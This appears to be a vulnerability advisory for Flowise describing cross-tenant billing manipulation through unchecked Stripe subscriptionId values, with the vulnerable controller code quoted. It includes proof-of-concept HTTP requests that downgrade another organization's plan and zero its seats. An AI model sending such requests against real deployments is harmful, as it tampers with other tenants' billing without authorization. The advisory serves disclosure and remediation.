npm · flowise
Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation
Several organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId.
This allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption.
Multiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context.
File
packages/server/src/enterprise/routes/organization.route.ts
Affected routes:
router.post('/update-additional-seats', organizationController.updateAdditionalSeats)
router.post('/update-subscription-plan', organizationController.updateSubscriptionPlan)
updateSubscriptionPlan
File
packages/server/src/enterprise/controllers/organization.controller.ts
public async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) {
const { subscriptionId, newPlanId, prorationDate } = req.body
const identityManager = getRunningExpressApp().identityManager
const result = await identityManager.updateSubscriptionPlan(
req,
subscriptionId,
newPlanId,
prorationDate
)
return res.status(StatusCodes.OK).json(result)
}
The server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer.
Missing validation: subscriptionId belongs to req.user.activeOrganization
updateAdditionalSeats
public async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) {
const { subscriptionId, quantity, prorationDate } = req.body
const identityManager = getRunningExpressApp().identityManager
const result = await identityManager.updateAdditionalSeats(
subscriptionId,
quantity,
prorationDate
)
return res.status(StatusCodes.OK).json(result)
}
Again, the subscriptionId is taken directly from the request body without verifying ownership.
Step 1 - Obtain victim subscriptionId
This identifier may be obtained via the organization read endpoint or other exposed references.
Example:
sub_YYYYYYYYYYYY
Step 2 - Modify victim subscription
POST /api/v1/organization/update-subscription-plan
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json
{
"subscriptionId": "sub_YYYYYYYYYYYY",
"newPlanId": "free_plan_id",
"prorationDate": 1735689600
}
Step 3 - Change seat quantity
POST /api/v1/organization/update-additional-seats
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json
{
"subscriptionId": "sub_YYYYYYYYYYYY",
"quantity": 0,
"prorationDate": 1735689600
}
An authenticated attacker can manipulate the Stripe subscription of other organizations.
Possible consequences include:
Because the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.
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Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.